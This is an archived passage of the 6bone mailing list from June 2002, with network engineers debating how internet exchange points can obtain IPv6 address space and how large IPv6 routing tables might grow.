From pim@ipng.nl Mon Jun 17 12:31:08 2002
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From: Pim van Pelt <pim@ipng.nl>
To: Robert Kiessling <Robert.Kiessling@de.easynet.net>
Cc: Pim van Pelt <pim@ipng.nl>, ww@GROOVY.NET, 6bone@ISI.EDU
Subject: Re: [6bone] Exchange Point Addresses
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On Mon, Jun 17, 2002 at 08:20:56PM +0000, Robert Kiessling wrote:
| Pim van Pelt <pim@ipng.nl> writes:
| 
| > On Mon, Jun 17, 2002 at 12:45:59PM -0400, ww@GROOVY.NET wrote:
| > | At the Toronto Internet Exchange (TORIX) we've been talking about
| > | making it possible to peer natively over IPv6. The problem is
| > | getting addresses for the exchange -- RIPE seems to have a clear
| > | policy (they'll hand out a /64), but ARIN doesn't appear to. It
| > | would not be appropriate to use addresses from one of the providers
| > | at the exchange since TORIX has been, since its inception, 
| > | provider neutral and we'd like to keep it that way.
| > They give out a (non-aggregatable) /48, which is IMO almost 100%
| > pointless (not a /64 like you mentioned).
| 
| It fulfils exactly what it's made for: to provide neutral,
| provider-independent IPv6 addresses for the exchange mesh. There was
| and is a need for this, so it's far from "100% useless".
Hi Robert,
 
Sitelocal will do fine for these things. If you can't route it, I don't
see the point in having it allocated from the 2000::/3 aggregate. I
would find fec0::/10 addresses in the peering mesh useful. 

We have seen (in practice) that not having globally routable peering
meshes, potentially breaks Path MTU discovery. This can happen when all
the hops to the endpoint are larger than the one used on the shared
medium, making the last box before the shared medium hop generate a
message to the originating host that the MTU should be set to its value.

Some router implementations drop any packets from sources which they do 
not have a route to in their FIB.

| > | Any suggestions or pointers to how to go about acquiring some
| > | numbers for the exchange would be appreciated.
| > 
| > As with your collegues at AMS-IX (NL), you will simply be left out in 
| > the cold.
| 
| No, you're not. You can receive address space for the exchange
| mesh. There is no need for these addresses to be routable.
See above.

 
| Addresses for other services like web page, NTP etc. is a different
| story altogether.
It's the story I was actually referring to in my original comment.
 
| > When you approach a registry with a remark like you just
| > made, you will be told that you are no more special than any other
| > company that wishes to have their own globally routable space (call it
| > PI, call it TLA).
| 
| Indeed.
| 
| You are implying that the secondary services offered by exchange
| points are so important that they justify a different allocation
| policy. This in turn implies that you want to introduce PI to IPv6,
| which so far does not exist (TLA, sTLA are *not* PI, they clearly are
| PA).
Please don't put words in my mouth. I am not implying that I would like
to have PI space in IPv6, on the contrary.
 
| There is a clear consencus that this is not desirable.
I consent to not having PI, I do not consent to having the 2001:7f8::/32
superblock with /48 allocations for peering meshes.
 
| > At current, at least in the region I am active in (RIPE), IXPs cannot
| > obtain address space without becoming dependant on a member. By the
| > way, neither can the RIR itself.
| 
| They can obtain address space like everone else. They just cannot get
| "PI" space, that is globally routable addresses not bound to an
| upstream. Of course they are free to fulil the requirements for an
| allocation, which is essentially to become a LIR and expect 200
| customer assignments.
This would be lying to the RIR, and that type of behavior is being
actively promoted these days, for example at RIPE42, where RIPE joined
the other two RIRs with the new allocation policies.

For an IXP, which will not offer downstream customers connectivity via
their AS, it would not be feasable to request an IPv6 allocation from
the RIR in saying that they would have a business case for 200 customer
allocations (which would be their members).

Most independant IXPs I know of (although I admit that I do not know of
many :-), are member associations, which will not be able to make a case
at their RIR to meet the 200 potential end-sites criterium. So either
they lie, or they break their independence by becoming a customer with
one (or several) of their members.

As much as I do not think that an IXP is a more special pig than other
pigs, I also do not think that they should be bending the rules and
forcing themselves into awkward positions to obtain address space.

Oh, did I mention that the RIRs themselves face exactly the same problem ? 

groet,
Pim

-- 
---------- - -    - - -+- - -    - - ----------
Pim van Pelt                 Email: pim@ipng.nl
http://www.ipng.nl/             IPv6 Deployment
-----------------------------------------------

From pekkas@netcore.fi Mon Jun 17 13:18:59 2002
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From: Pekka Savola <pekkas@netcore.fi>
To: Pim van Pelt <pim@ipng.nl>
cc: ww@GROOVY.NET, <6bone@ISI.EDU>
Subject: Re: [6bone] Exchange Point Addresses
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Pim, ww,

Please note that IX allocation is not meant to be "globally routable".  If 
you accept that, you can get IXP allocation, at least in RIPE region.

Many IX's don't really need that (they only want addresses for e.g. switch 
fabrics or p-t-p addresses, not for services).

IX, depending on how you build it, could have any kind of addressing you
want.  You could do private peerings and use addresses from either party.  
But that is very bothersome if the technique is based on broadcast medium,
like Gigabit Ethernet.

On Mon, 17 Jun 2002, Pim van Pelt wrote:
> On Mon, Jun 17, 2002 at 12:45:59PM -0400, ww@GROOVY.NET wrote:
> | Hi,
> | 
> | At the Toronto Internet Exchange (TORIX) we've been talking about
> | making it possible to peer natively over IPv6. The problem is
> | getting addresses for the exchange -- RIPE seems to have a clear
> | policy (they'll hand out a /64), but ARIN doesn't appear to. It
> | would not be appropriate to use addresses from one of the providers
> | at the exchange since TORIX has been, since its inception, 
> | provider neutral and we'd like to keep it that way.
> They give out a (non-aggregatable) /48, which is IMO almost 100%
> pointless (not a /64 like you mentioned).
>  
> | Any suggestions or pointers to how to go about acquiring some
> | numbers for the exchange would be appreciated.
> 
> As with your collegues at AMS-IX (NL), you will simply be left out in 
> the cold. When you approach a registry with a remark like you just
> made, you will be told that you are no more special than any other
> company that wishes to have their own globally routable space (call it
> PI, call it TLA).
> 
> At current, at least in the region I am active in (RIPE), IXPs cannot
> obtain address space without becoming dependant on a member. By the
> way, neither can the RIR itself.
> 
> groet,
> Pim
> 
> 

-- 
Pekka Savola                 "Tell me of difficulties surmounted,
Netcore Oy                   not those you stumble over and fall"
Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords


From bmanning@ISI.EDU Mon Jun 17 13:38:17 2002
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 you may wish to talk with Joe Abley.
 you may also wish to review www.ep.net


% Hi,
% 
% At the Toronto Internet Exchange (TORIX) we've been talking about
% making it possible to peer natively over IPv6. The problem is
% getting addresses for the exchange -- RIPE seems to have a clear
% policy (they'll hand out a /64), but ARIN doesn't appear to. It
% would not be appropriate to use addresses from one of the providers
% at the exchange since TORIX has been, since its inception, 
% provider neutral and we'd like to keep it that way.
% 
% Any suggestions or pointers to how to go about acquiring some
% numbers for the exchange would be appreciated.
% 
% Thanks,
% -w
% --
% Will Waites
% ww@groovy.net
% _______________________________________________
% 6bone mailing list
% 6bone@mailman.isi.edu
% http://mailman.isi.edu/mailman/listinfo/6bone
% 


-- 
--bill

From Robert.Kiessling@de.easynet.net Mon Jun 17 14:04:34 2002
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Subject: Re: [6bone] Exchange Point Addresses
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	<20020617181841.GA5259@bfib.colo.bit.nl>
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From: Robert Kiessling <Robert.Kiessling@de.easynet.net>
Date: 17 Jun 2002 22:15:39 +0000
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Pim van Pelt <pim@ipng.nl> writes:

> | It fulfils exactly what it's made for: to provide neutral,
> | provider-independent IPv6 addresses for the exchange mesh. There was
> | and is a need for this, so it's far from "100% useless".
>  
> Sitelocal will do fine for these things. If you can't route it, I don't
> see the point in having it allocated from the 2000::/3 aggregate. I
> would find fec0::/10 addresses in the peering mesh useful. 

Three things spring to my mind:

1. reverse DNS is not possible with site-local addresses

2. with site-local addresses on IXP LAN, a router is in two different
   local domains, with possible nasty interactions between the two 
   "site local" domains

3. missing traceroutes hops through IPX LANs with site-local addresses

> We have seen (in practice) that not having globally routable peering
> meshes, potentially breaks Path MTU discovery.

Then you see something I've never seen. RFC1918 addresses pose
problems to PMTUD, that's true, but for different reasons.

> Some router implementations drop any packets from sources which they do 
> not have a route to in their FIB.

Which implementations do this?

Even if you have such an implementation, you'd just need to nullroute
the allocation from which IXP addresses are taken.

> This would be lying to the RIR, and that type of behavior is being
> actively promoted these days, [...]

I didn't want to suggest to lie, but to honestly fulfil the criteria.

> | There is a clear consencus that this is not desirable.
> I consent to not having PI, I do not consent to having the 2001:7f8::/32
> superblock with /48 allocations for peering meshes.

What would be your suggestion then? Giving routable blocks to IXPs
which do not do end-user assignments *is* PI.

> Oh, did I mention that the RIRs themselves face exactly the same problem ? 

You mentioned it. Still I fail see why this a problem. If it was, then
is would be a problem not just for IXPs and RIPE, but for many other
organsations too. IXPs and RIPE are not special in this respect.

Robert


From ww@GROOVY.NET Mon Jun 17 14:07:30 2002
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From: ww@GROOVY.NET
To: Pim van Pelt <pim@ipng.nl>
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Subject: Re: [6bone] Exchange Point Addresses
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On Mon, Jun 17, 2002 at 08:18:41PM +0200, Pim van Pelt wrote:
>
> They give out a (non-aggregatable) /48, which is IMO almost 100%
> pointless (not a /64 like you mentioned).

My source for this was 

http://www.ripe.net/ripencc/mem-services/registration/ipv6/eix-interim.html

"Since the address space does not need to be routable globally and an
IXP is expected to only have one subnet, a /64 (64 bits of address
space) will be assigned in most cases."

Perhaps this does not reflect their actual policy. In any case
if the addresses are not globally routeable, we might as well
use site-local ones.

It would befar better to use globally routeable addresses for 
exactly the reasons you point out -- i.e. path MTU discovery.

Perhaps it is not impossible that a certain number of small
exchange point blocks be allowed to leak unaggregated into the
global routing table -- I suspect that the number of such blocks
would be bounded above by 10000 or so (say about 300 countries
in the world with on average 10 major cities, each with an
internet exchange or two). It's clearly feasable technically,
but less than elegant.

> As with your collegues at AMS-IX (NL), you will simply be left out in 
> the cold. When you approach a registry with a remark like you just
> made, you will be told that you are no more special than any other
> company that wishes to have their own globally routable space (call it
> PI, call it TLA).

Which is unfortunate, since we don't really fit into their categories.
In reality, TORIX is a couple of ethernet switches that live in
shared physical space graciously donated by the managers of the
local telco hotel. It is not a company, it is a shared community 
resource. And it has run into problems in the past being tied for
one reason or another to a particular member of the exchage.

So, what to do? ;)

The way that ARIN seems to have tentatively addressed the issue
is by trying to turn regional exchanges (a label which could
reasonably be applied to TORIX since most of the ISPs in 
Ontario peer there) into sub-TLA registries for the region
(http://www.arin.net/library/guidelines/ipv6_rir.txt section
4.2.3.1) which, I believe, is more responsibility than we would
be willing to take on.

They also have a RIPE-like policy proposal which doesn't appear
to have been looked at in about a year and a half:
http://www.arin.net/policy/2001_3.html

Cheers,
-w
--
Will Waites
ww@groovy.net

From pekkas@netcore.fi Mon Jun 17 14:11:50 2002
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From: Pekka Savola <pekkas@netcore.fi>
To: Pim van Pelt <pim@ipng.nl>
cc: Robert Kiessling <Robert.Kiessling@de.easynet.net>, <ww@GROOVY.NET>,
   <6bone@ISI.EDU>
Subject: Re: [6bone] Exchange Point Addresses
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On Mon, 17 Jun 2002, Pim van Pelt wrote:
> On Mon, Jun 17, 2002 at 08:20:56PM +0000, Robert Kiessling wrote:
> | Pim van Pelt <pim@ipng.nl> writes:
> | 
> | > On Mon, Jun 17, 2002 at 12:45:59PM -0400, ww@GROOVY.NET wrote:
> | > | At the Toronto Internet Exchange (TORIX) we've been talking about
> | > | making it possible to peer natively over IPv6. The problem is
> | > | getting addresses for the exchange -- RIPE seems to have a clear
> | > | policy (they'll hand out a /64), but ARIN doesn't appear to. It
> | > | would not be appropriate to use addresses from one of the providers
> | > | at the exchange since TORIX has been, since its inception, 
> | > | provider neutral and we'd like to keep it that way.
> | > They give out a (non-aggregatable) /48, which is IMO almost 100%
> | > pointless (not a /64 like you mentioned).
> | 
> | It fulfils exactly what it's made for: to provide neutral,
> | provider-independent IPv6 addresses for the exchange mesh. There was
> | and is a need for this, so it's far from "100% useless".
> Hi Robert,
>  
> Sitelocal will do fine for these things. If you can't route it, I don't
> see the point in having it allocated from the 2000::/3 aggregate. I
> would find fec0::/10 addresses in the peering mesh useful. 

Reverse DNS won't work nicely with traceroute w/ site-locals, though.

How significant this is, is another question..
 
> Some router implementations drop any packets from sources which they do 
> not have a route to in their FIB.

Broken implementations, or those using unicast RPF I guess.

-- 
Pekka Savola                 "Tell me of difficulties surmounted,
Netcore Oy                   not those you stumble over and fall"
Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords


From ww@GROOVY.NET Mon Jun 17 14:18:50 2002
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To: Pim van Pelt <pim@ipng.nl>
Cc: 6bone@ISI.EDU
Subject: Re: [6bone] ifconfig and EUI-64
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On Sun, Jun 09, 2002 at 07:22:47PM +0200, Pim van Pelt wrote:
>
> Does anyone know why exactly the ifconfig programs for the BSDs, Linux
> and most probably Solaris are not able to autoconfigure their own
> addresses, by not using the RS/RA schema, but a local autoconfiguration
> such as the Cisco IOS:

NetBSD-current now supports this :)

i.e.

ifconfig hme0 inet6 3ffe:1cdc:0:1234:: eui64

Cheers,
-w

From ww@GROOVY.NET Mon Jun 17 14:35:10 2002
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To: Robert Kiessling <Robert.Kiessling@de.easynet.net>
Cc: Pim van Pelt <pim@ipng.nl>, 6bone@ISI.EDU
Subject: Re: [6bone] Exchange Point Addresses
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On Mon, Jun 17, 2002 at 10:15:39PM +0000, Robert Kiessling wrote:
> 
> > We have seen (in practice) that not having globally routable peering
> > meshes, potentially breaks Path MTU discovery.
> 
> Then you see something I've never seen. RFC1918 addresses pose
> problems to PMTUD, that's true, but for different reasons.

What are the different reasons? I would think that using any
non-unique addresses (RFC1918 or site-local IPv6) would cause
similar problems. Unique but non globally routeable addresses
should be ok though (pace RPF), no?

-w

From itojun@itojun.org Mon Jun 17 15:23:55 2002
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Subject: Re: [6bone] Exchange Point Addresses 
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>At the Toronto Internet Exchange (TORIX) we've been talking about
>making it possible to peer natively over IPv6. The problem is
>getting addresses for the exchange -- RIPE seems to have a clear
>policy (they'll hand out a /64), but ARIN doesn't appear to. It
>would not be appropriate to use addresses from one of the providers
>at the exchange since TORIX has been, since its inception, 
>provider neutral and we'd like to keep it that way.
>
>Any suggestions or pointers to how to go about acquiring some
>numbers for the exchange would be appreciated.

	at NSPIXP2 and NSPIXP6, we are using /64 block from WIDE
	(2001:200::/35).  WIDE is operating these exchanges so it was a natural
	choice.

	another option is to use link-local address only on IX segment.
	draft-kato-bgp-ipv6-link-local-01.txt
	cisco and zebra are at least capable of doing it.
	traceroute doesn't really have problem, as many of the routers
	i know of do not do strict strong-host model.

itojun

From michel@arneill-py.sacramento.ca.us Mon Jun 17 15:43:14 2002
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From: "Michel Py" <michel@arneill-py.sacramento.ca.us>
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Pim and 6boners,

> Pim van Pelt wrote:
> As with your collegues at AMS-IX (NL), you will simply be left
> out in the cold. When you approach a registry with a remark like
> you just made, you will be told that you are no more special than
> any other company that wishes to have their own globally routable
> space (call it PI, call it TLA).
> At current, at least in the region I am active in (RIPE), IXPs
> cannot obtain address space without becoming dependant on a member.
> By the way, neither can the RIR itself.

The ipv6mh list is working hard to provide you with geographical
addresses so you don't stay in the cold too long. An example is
available here:
http://arneill-py.sacramento.ca.us/ipv6mh/geov6.txt

I welcome the 6bone community's comments on this. This test is about
proposed allocation only, the protocols and practices are still cooking.

Michel.


From pim@ipng.nl Mon Jun 17 23:17:46 2002
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On Mon, Jun 17, 2002 at 03:43:07PM -0700, Michel Py wrote:
| Pim and 6boners,
| 
| > Pim van Pelt wrote:
| > As with your collegues at AMS-IX (NL), you will simply be left
| > out in the cold. When you approach a registry with a remark like
| > you just made, you will be told that you are no more special than
| > any other company that wishes to have their own globally routable
| > space (call it PI, call it TLA).
| > At current, at least in the region I am active in (RIPE), IXPs
| > cannot obtain address space without becoming dependant on a member.
| > By the way, neither can the RIR itself.
| 
| The ipv6mh list is working hard to provide you with geographical
| addresses so you don't stay in the cold too long. An example is
| available here:
| http://arneill-py.sacramento.ca.us/ipv6mh/geov6.txt

I browsed through this allocation document. Nice work!
What are the aggregation policies with these networks ? I see that the
smallest allocation to cities would be /32. Who would announce for
example the NL-Amsterdam block 2346:7600::/29 ? If it is anybody other
than AS1200, in the case of AMS-IX, then they would be dependent on that
particular AS (and most probably, the member operating that AS).

Can you point me to a document that explains how this will solve the
dependency issue raised ?

Thanks, groet,
Pim


-- 
---------- - -    - - -+- - -    - - ----------
Pim van Pelt                 Email: pim@ipng.nl
http://www.ipng.nl/             IPv6 Deployment
-----------------------------------------------

From pekkas@netcore.fi Mon Jun 17 23:54:18 2002
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From: Pekka Savola <pekkas@netcore.fi>
To: itojun@iijlab.net
cc: ww@GROOVY.NET, <6bone@ISI.EDU>
Subject: Re: [6bone] Exchange Point Addresses 
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On Tue, 18 Jun 2002 itojun@iijlab.net wrote:
> >At the Toronto Internet Exchange (TORIX) we've been talking about
> >making it possible to peer natively over IPv6. The problem is
> >getting addresses for the exchange -- RIPE seems to have a clear
> >policy (they'll hand out a /64), but ARIN doesn't appear to. It
> >would not be appropriate to use addresses from one of the providers
> >at the exchange since TORIX has been, since its inception, 
> >provider neutral and we'd like to keep it that way.
> >
> >Any suggestions or pointers to how to go about acquiring some
> >numbers for the exchange would be appreciated.
> 
> 	at NSPIXP2 and NSPIXP6, we are using /64 block from WIDE
> 	(2001:200::/35).  WIDE is operating these exchanges so it was a natural
> 	choice.
> 
> 	another option is to use link-local address only on IX segment.
> 	draft-kato-bgp-ipv6-link-local-01.txt
> 	cisco and zebra are at least capable of doing it.

Link-locals only seem to be a huge can of worms if someone forgets 
'next-hop-self' with link-local eBGP peering, and link-local address would 
be distributed to iBGP.

-- 
Pekka Savola                 "Tell me of difficulties surmounted,
Netcore Oy                   not those you stumble over and fall"
Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords


From kre@munnari.OZ.AU Tue Jun 18 04:45:50 2002
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    Date:        Tue, 18 Jun 2002 07:23:48 +0900
    From:        itojun@iijlab.net
    Message-ID:  <20020617222348.4AD6B4B24@coconut.itojun.org>

  | 	another option is to use link-local address only on IX segment.

That assumes there's only one segment, which is not necessarily
going to be true.

  | 	traceroute doesn't really have problem, as many of the routers
  | 	i know of do not do strict strong-host model.

I don't think that "strong-host model" makes sense when applied to
a router, but that's beside the point probably.

This one assumes that everything in question has a a global address,
but from where to get that address was the initial question.
Note - there's no guarantee that a router in the middle of the
exchange, which does not directly connect to any of the peering
networks, will have any other global addresses (clearly, it could
do, as you have done, use address space from one of the providers,
but avoiding that is sometimes desirable).

A non-routable global address (as others have said) should work just
fine (non-routable in this context means "non routable from the world
at large", not "non-routable from the connected networks" of course".)

It needs to be global, so packets from it can be sent to everywhere,
it doesn't need to be routable, as no-one needs to be able (from arbitrary
places) to send packets back to it.

If broken RPF implementations cause problems, they should be fixed
(refusing packets that come from a path where the route to the destination
is on another path can (in appropriate circumstances) be justified.
Refusing packets because there's no current route makes no sense for the
purposes RPF is used.

Being global, there's no problem with IP6.ARPA lookups, or anything else
like that.

kre


From michel@arneill-py.sacramento.ca.us Tue Jun 18 08:43:46 2002
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From: "Michel Py" <michel@arneill-py.sacramento.ca.us>
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Pim,

| Michel Py wrote:
| The ipv6mh list is working hard to provide you with geographical
| addresses so you don't stay in the cold too long. An example is
| available here:
| http://arneill-py.sacramento.ca.us/ipv6mh/geov6.txt

> Pim van Pelt wrote:
> I browsed through this allocation document. Nice work!

Thank you. Please note that this is the _first_ shot at this scheme, so
everything can potentially be changed.


> What are the aggregation policies with these networks ? I see that
> the smallest allocation to cities would be /32. Who would announce
> for example the NL-Amsterdam block 2346:7600::/29 ?

The short answer is nobody, but this requires an explanation a lot
longer that belongs on the 6bone mailing list; this allocation is valid
for two different protocols, GFN and MHAP. I ccd your question to the
ipv6mh mailing list and I will address it there; if anyone answers it
please take the 6bone out of the cc field.

> If it is anybody other than AS1200, in the case of AMS-IX, then they
> would be dependent on that particular AS (and most probably, the
> member operating that AS).

There are no dependencies on the AS.

> Can you point me to a document that explains how this will solve
> the dependency issue raised ?

http://arneill-py.sacramento.ca.us/ipv6mh/draft-py-mhap-01a.txt
This is only 1/2 of the story. The GFN draft is not yet available.

Michel.


From bmanning@ISI.EDU Mon Jun 24 19:09:26 2002
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From: Bill Manning <bmanning@ISI.EDU>
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 With the tacit permission of DISA, we have included the .MIL zone
 in the v6 DNS testbed.  We expect to have stable .COM/NET/ORG/EDU
 visable as well within the next couple of weeks.

-- 
--bill

From Jeff.Thomas@alcatel.com Tue Jun 25 10:03:29 2002
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(Hopefully this is the right list for this question....)

I have been curious about the size of routing tables when using IPv6.  I
had it in my mind that they would be considerably smaller due to
aggregation properties.  I surmised that even a large enterprise may not
have more than a couple hundred routes in their core.  Then I noticed in
a presentation that someone in China (BII Group - presentation from IPv6
Summit in Beijing) was building an IPv6 router with over a million
entries in their routing table.  Am I off track?

Large enterprises today may have tens of thousands of routes in v4, but
using v6 wouldn't they be an order of magnitude smaller?

Thanks,
Jeff





From pim@ipng.nl Tue Jun 25 14:08:42 2002
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From: Pim van Pelt <pim@ipng.nl>
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On Tue, Jun 25, 2002 at 11:02:50AM -0600, Jeff Thomas wrote:
| (Hopefully this is the right list for this question....)
| 
| I have been curious about the size of routing tables when using IPv6.  I
| had it in my mind that they would be considerably smaller due to
| aggregation properties.  I surmised that even a large enterprise may not
| have more than a couple hundred routes in their core.  Then I noticed in
| a presentation that someone in China (BII Group - presentation from IPv6
| Summit in Beijing) was building an IPv6 router with over a million
| entries in their routing table.  Am I off track?
| 
| Large enterprises today may have tens of thousands of routes in v4, but
| using v6 wouldn't they be an order of magnitude smaller?
| 
There's currently some 250 prefixes in the TLA cloud (this is RIR '2001'
and 6bone '3ffe').

I don't expect the amount of prefixes to be more than the amount of AS
numbers in the long run.

groet,
Pim

-- 
---------- - -    - - -+- - -    - - ----------
Pim van Pelt                 Email: pim@ipng.nl
http://www.ipng.nl/             IPv6 Deployment
-----------------------------------------------

From michel@arneill-py.sacramento.ca.us Tue Jun 25 15:12:28 2002
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> Jeff Thomas wrote:
> was building an IPv6 router with over a million
> entries in their routing table.  Am I off track?

A _million_ ? whoa. I count 245 entries in the global v6 table now, and
I am not aware of any v6 ISP with more than a few dozen thousand
customers.

> Large enterprises today may have tens of thousands of routes
> in v4, but using v6 wouldn't they be an order of magnitude
> smaller?

One million subnets, yes; this would be totally unaggregated though.
Should not be more than 50k-80k routes aggregated.

I am not sure I would agree with an order of magnitude smaller, but I
think that a v6 routing table should be smaller than the v4 equivalent.
The biggest (v4) routing table I have seen myself is 200k and change.

Michel.


From jordi.palet@consulintel.es Tue Jun 25 15:28:22 2002
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Subject: Re: [6bone] IPv6 routing table size
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I've seen also this presentation. I'm sure it was 1.000.000, but may be I'm wrong. It was Hitachi GR2000 ?

If the performance is good enough, may be we solved the multihoming problem for a while ;-)

Regards,

Jordi Palet
Consulintel

----- Original Message ----- 
From: "Michel Py" <michel@arneill-py.sacramento.ca.us>
To: "Jeff Thomas" <Jeff.Thomas@ind.alcatel.com>; <6bone@mailman.isi.edu>
Sent: Wednesday, June 26, 2002 12:12 AM
Subject: RE: [6bone] IPv6 routing table size


> > Jeff Thomas wrote:
> > was building an IPv6 router with over a million
> > entries in their routing table.  Am I off track?
> 
> A _million_ ? whoa. I count 245 entries in the global v6 table now, and
> I am not aware of any v6 ISP with more than a few dozen thousand
> customers.
> 
> > Large enterprises today may have tens of thousands of routes
> > in v4, but using v6 wouldn't they be an order of magnitude
> > smaller?
> 
> One million subnets, yes; this would be totally unaggregated though.
> Should not be more than 50k-80k routes aggregated.
> 
> I am not sure I would agree with an order of magnitude smaller, but I
> think that a v6 routing table should be smaller than the v4 equivalent.
> The biggest (v4) routing table I have seen myself is 200k and change.
> 
> Michel.
> 
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone
> 
> 



***********************************************************
Madrid 2002 Global IPv6 Summit
See all the documents on line at:
www.ipv6-es.com



From bmanning@ISI.EDU Tue Jun 25 15:36:54 2002
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From: Bill Manning <bmanning@ISI.EDU>
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Subject: Re: [6bone] IPv6 routing table size
In-Reply-To: <2B81403386729140A3A899A8B39B046405E153@server2000.arneill-py.sacramento.ca.us> from Michel Py at "Jun 25, 2 03:12:21 pm"
To: michel@arneill-py.sacramento.ca.us (Michel Py)
Date: Tue, 25 Jun 2002 15:36:17 -0700 (PDT)
Cc: Jeff.Thomas@ind.alcatel.com, 6bone@ISI.EDU
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	a single "million" is either way too large or 
	way too small.  Depends on if you beleive the
	aggregation model will hold. A prgmatic design
	choice would be for supporting a table size of
	2x32nd number of entries, presuming CIDR.
	Is such a design practical? Not with todays
	technolgies.  How much social engineering
	can be done to ensure that choice is not
	restricted?


% > Jeff Thomas wrote:
% > was building an IPv6 router with over a million
% > entries in their routing table.  Am I off track?
% 
% A _million_ ? whoa. I count 245 entries in the global v6 table now, and
% I am not aware of any v6 ISP with more than a few dozen thousand
% customers.
% 
% > Large enterprises today may have tens of thousands of routes
% > in v4, but using v6 wouldn't they be an order of magnitude
% > smaller?
% 
% One million subnets, yes; this would be totally unaggregated though.
% Should not be more than 50k-80k routes aggregated.
% 
% I am not sure I would agree with an order of magnitude smaller, but I
% think that a v6 routing table should be smaller than the v4 equivalent.
% The biggest (v4) routing table I have seen myself is 200k and change.
% 
% Michel.
% 
% _______________________________________________
% 6bone mailing list
% 6bone@mailman.isi.edu
% http://mailman.isi.edu/mailman/listinfo/6bone
% 


-- 
--bill

From michel@arneill-py.sacramento.ca.us Tue Jun 25 16:01:31 2002
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Subject: RE: [6bone] IPv6 routing table size
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From: "Michel Py" <michel@arneill-py.sacramento.ca.us>
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> Bill Manning wrote:
> a single "million" is either way too large or 
> way too small.  Depends on if you beleive the
> aggregation model will hold.

Agree.

> A pragmatic design choice would be for supporting
> a table size of	2x32nd number of entries, presuming
> CIDR.

If it's 2^32 sites, but not 2^32 routes, I agree.
If it's 2^32 sites, _and_ 2^32 routes, I do not.

> Is such a design practical? Not with todays technolgies.
> How much social engineering	can be done to ensure that
> choice is not restricted?

A lot, IMHO.

Michel.


From jordi.palet@consulintel.es Tue Jun 25 18:00:25 2002
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From: "JORDI PALET MARTINEZ" <jordi.palet@consulintel.es>
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Subject: Re: [6bone] IPv6 routing table size
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Ok. Then you mean 863 ... the presentation is here http://www.ipv6.net.cn/event/presentation/ipv6-china-report.pdf


----- Original Message ----- 
From: "Jeff Thomas" <Jeff.Thomas@ind.alcatel.com>
To: "JORDI PALET MARTINEZ" <jordi.palet@consulintel.es>
Sent: Wednesday, June 26, 2002 2:45 AM
Subject: Re: [6bone] IPv6 routing table size


> I don't believe it was the Hitachi box.  It presented the ideas for a new "high performance IPv6 router" and
> had some other name like 862 or something like that associated with it.  The presentation is the one from the
> BII CTO from the Beijing Summit.   That still seems like a crazy number.  If it is true, so much for the
> routing scalability of IPv6, huh?  :-)
> 
> JORDI PALET MARTINEZ wrote:
> 
> > I've seen also this presentation. I'm sure it was 1.000.000, but may be I'm wrong. It was Hitachi GR2000 ?
> >
> > If the performance is good enough, may be we solved the multihoming problem for a while ;-)
> >
> > Regards,
> >
> > Jordi Palet
> > Consulintel
> >
> > ----- Original Message -----
> > From: "Michel Py" <michel@arneill-py.sacramento.ca.us>
> > To: "Jeff Thomas" <Jeff.Thomas@ind.alcatel.com>; <6bone@mailman.isi.edu>
> > Sent: Wednesday, June 26, 2002 12:12 AM
> > Subject: RE: [6bone] IPv6 routing table size
> >
> > > > Jeff Thomas wrote:
> > > > was building an IPv6 router with over a million
> > > > entries in their routing table.  Am I off track?
> > >
> > > A _million_ ? whoa. I count 245 entries in the global v6 table now, and
> > > I am not aware of any v6 ISP with more than a few dozen thousand
> > > customers.
> > >
> > > > Large enterprises today may have tens of thousands of routes
> > > > in v4, but using v6 wouldn't they be an order of magnitude
> > > > smaller?
> > >
> > > One million subnets, yes; this would be totally unaggregated though.
> > > Should not be more than 50k-80k routes aggregated.
> > >
> > > I am not sure I would agree with an order of magnitude smaller, but I
> > > think that a v6 routing table should be smaller than the v4 equivalent.
> > > The biggest (v4) routing table I have seen myself is 200k and change.
> > >
> > > Michel.
> > >
> > > _______________________________________________
> > > 6bone mailing list
> > > 6bone@mailman.isi.edu
> > > http://mailman.isi.edu/mailman/listinfo/6bone
> > >
> > >
> >
> > ***********************************************************
> > Madrid 2002 Global IPv6 Summit
> > See all the documents on line at:
> > www.ipv6-es.com
> >
> > _______________________________________________
> > 6bone mailing list
> > 6bone@mailman.isi.edu
> > http://mailman.isi.edu/mailman/listinfo/6bone
> 
> 
> 



***********************************************************
Madrid 2002 Global IPv6 Summit
See all the documents on line at:
www.ipv6-es.com



From Jeff.Thomas@alcatel.com Tue Jun 25 18:01:21 2002
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Michel Py wrote:

> > Bill Manning wrote:
> > a single "million" is either way too large or
> > way too small.  Depends on if you beleive the
> > aggregation model will hold.
>
> Agree.

The bullet point from the presentation actually was "Routing table >
1M".

I guess the point of the aggregation model holding is the root of my
question.  I was thinking it would hold, but it sounds like nobody is
banking on it.
What factors are considered here in holding the aggregation model in
question?

Jeff


From michel@arneill-py.sacramento.ca.us Tue Jun 25 19:33:05 2002
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Jeff,

>>> Bill Manning wrote:
>>> a single "million" is either way too large or
>>> way too small.  Depends on if you beleive the
>>> aggregation model will hold.

>> Michel Py wrote:
>> Agree.

> Jeff Thomas wrote:
> The bullet point from the presentation actually was
> "Routing table > 1M".

Are you referring to the one below that Jordi just posted?

> Jordi Palet wrote:
> Ok. Then you mean 863 ... the presentation is here 
> http://www.ipv6.net.cn/event/presentation/ipv6-china-report.pdf

If yes, I don't see where the scoop is. There are routers that handle
200k routes. Having people designing a router to hold 1M is yesterday's
news. Without specific info, I'd bet you a buck that Cisco and Juniper
are working on it, too. The fact that they are working on it does _not_
mean we will see a 1M prefixes routing table. A distinct possibility if
no multihoming solution is released soon, put still only a possibility.


> I guess the point of the aggregation model holding is the root of
> my question.  I was thinking it would hold, but it sounds like
> nobody is banking on it.
> What factors are considered here in holding the aggregation model
> in question?

The availability of a real IPv6 multihoming solution.

Michel.


From stuart@tech.org Tue Jun 25 20:51:44 2002
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To: Pim van Pelt <pim@ipng.nl>
cc: Jeff Thomas <Jeff.Thomas@ind.alcatel.com>, 6bone@mailman.isi.edu
Subject: Re: [6bone] IPv6 routing table size 
In-reply-to: Your message of "Tue, 25 Jun 2002 23:08:11 +0200."
             <20020625210811.GA29255@bfib.colo.bit.nl> 
Date: Tue, 25 Jun 2002 20:51:04 -0700
From: Stephen Stuart <stuart@tech.org>
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> I don't expect the amount of prefixes to be more than the amount of AS
> numbers in the long run.

In the long run, AS numbers will be 32 bits, too; perhaps someday
